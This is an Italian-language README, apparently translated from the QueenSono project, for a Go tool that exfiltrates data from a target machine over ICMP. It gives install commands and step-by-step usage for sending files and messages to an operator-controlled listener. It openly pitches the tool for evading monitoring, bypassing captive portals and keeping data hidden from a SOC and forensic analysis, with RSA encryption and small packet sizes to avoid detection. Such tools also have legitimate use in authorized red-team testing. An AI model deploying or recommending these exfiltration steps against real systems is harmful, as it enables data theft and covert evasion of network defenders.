ariary/queensonoBinario Golang per l'esfiltrazione di dati con protocollo ICMP (+ ICMP bindshell, http over ICMP tunneling, ...)
Lo strumento QueenSono si basa solo sul fatto che il protocollo ICMP non è monitorato. È abbastanza comune. Potrebbe essere usato anche all'interno di un sistema con ispezione ICMP di base (ad es. controllo di frequenza e lunghezza del contenuto) o per bypassare la fase di autenticazione con captive portal (usato da molti Wi-Fi pubblici per autenticare gli utenti dopo la connessione, ad es. Wi-Fi aeroportuali). Cerca di imitare PyExfil (e altri) con l'idea che la macchina target non abbia necessariamente Python installato (quindi fornire un binario potrebbe essere utile)
Installalo
·
Usalo
·
Note
·
Richiedi funzionalità
·
🎁
curl> Dalla release
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qsreceiver
curl -lO -L https://github.com/ariary/QueenSono/releases/latest/download/qssender
go> Tramite go install
Assicurati che $GOPATH sia nel tuo $PATH prima
Installa qssender
go install github.com/ariary/QueenSono/cmd/client@latest
mv $GOPATH/bin/client $GOPATH/bin/qssender #rename binary
Installa qsreceiver
go install github.com/ariary/QueenSono/cmd/server@latest
mv $GOPATH/bin/server $GOPATH/bin/qsreceiver #rename binary
> Installa il binario dal sorgente
Clona il repo e scarica le dipendenze localmente:
git clone https://github.com/ariary/QueenSono.git
cd QueenSono
make before.build
Per costruire l'invio di pacchetti ICMP qssender :
build.queensono-sender
Per costruire il ricevitore di pacchetti ICMP qsreceiver :
build.queensono-receiver
qssender è il binario che invierà pacchetti ICMP al listener, quindi è il binario che devi trasferire sulla macchina target.
qsreceiver è il listener sulla tua macchina locale (o ovunque tu possa ricevere pacchetti ICMP)
Tutti i comandi e i flag dei binari possono essere trovati usando --help
> In questo esempio vogliamo inviare un file grande e monitorare le echo reply per confermare la ricezione dei pacchetti (ACK).
Sulla macchina locale:
$ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
-l 0.0.0.0 ascolta su tutte le interfacce per pacchetti ICMP
-f received_bible.txt salva i dati ricevuti in un file
-p mostra una barra di avanzamento dei dati ricevuti Sulla macchina target:
$ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
$ qssender send file -d 2 -l 0.0.0.0 -r 10.0.0.92 -s 50000 bible.txt
send file per inviare un file (bible.txt è il file in questione)
-d 2 invia un pacchetto ogni 2 secondi
-l 0.0.0.0 l'indirizzo di ascolto per echo reply -r 10.0.0.92 l'indirizzo della mia macchina remota con qsreceiver in ascolto-s 50000 la dimensione dei dati che voglio inviare in ogni pacchetto> In questo esempio vogliamo inviare un messaggio senza attendere la echo reply (potrebbe essere utile nel caso in cui il firewall di destinazione filtri i pacchetti ICMP in entrata)
Sulla macchina locale:
$ qsreceiver receive truncated 1 -l 0.0.0.0
receive truncated 1 non attende indefinitamente se non riceviamo tutti i pacchetti. (1 è il ritardo usato con qssender)echo 1 | dd of=/proc/sys/net/ipv4/icmp_echo_ignore_allSulla macchina target:
$ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 1 -N
-N opzione noreply (non attendere echo reply)
> In questo esempio vogliamo inviare un messaggio crittografato. Poiché la riga di comando potrebbe essere spiata, utilizziamo la crittografia asimmetrica (se la chiave viene divulgata, non è un problema)
Sulla macchina locale:
$ qsreceiver receive -l 0.0.0.0 --encrypt
<OUTPUT PUBLIC KEY>
--encrypt utilizza lo scambio di crittografia. Genererà una chiave pubblica/privata. Quella pubblica sarà usata da qssender per crittografare i dati, quella privata per decrittografarli con receiver
Sulla macchina target:
$ export MSG="<your message>"
$ export KEY="<public_key_from_qsreceiver_output>"
$ qssender send $MSG -d 1 -l 0.0.0.0 -r 10.0.0.190 -s 5 --key $KEY
--key fornisce la chiave per la crittografia dei dati. Usa quella fornita dal comando qsreceiver
La crittografia RSA viene utilizzata per mantenere confidenziali i dati scambiati. Potrebbe essere utile, ad esempio, per evitare che un SoC veda quali dati vengono scambiati (o per analisi forense) con analisi di base o semplicemente per la privacy.
Ma ha un costo. La scelta della crittografia asimmetrica è motivata dal fatto che la chiave di crittografia viene inserita sulla riga di comando (quindi potrebbe essere recuperata facilmente). Pertanto, crittografiamo i dati con la chiave pubblica. In questo modo, se qualcuno recupera la chiave di crittografia, non sarà possibile decrittografare il messaggio. Ma la chiave pubblica è più piccola di quella privata, quindi crittografa messaggi più piccoli. Inoltre, è computazionalmente costosa.
Un altro punto: poiché vogliamo limitare la dimensione dei dati/richieste ping (per evitare rilevamento, bug, ecc.), usa la crittografia solo se necessario poiché la dimensione dell'output del messaggio sarà (dovrebbe) sempre uguale alla dimensione del Modulo (parte della chiave) che è grande.
Attualmente, l'intero messaggio viene crittografato e poi suddiviso in blocchi per essere inviato. Dall'altro lato attendiamo tutti i pacchetti (blocchi), ricostruiamo il messaggio e poi lo decrittografiamo. Ma funziona ⇔ abbiamo ricevuto TUTTI i blocchi, altrimenti la decrittografia fallirà.
=> Potremmo crittografare ogni blocco in base al parametro -s, in questo modo potremmo decrittografarli separatamente.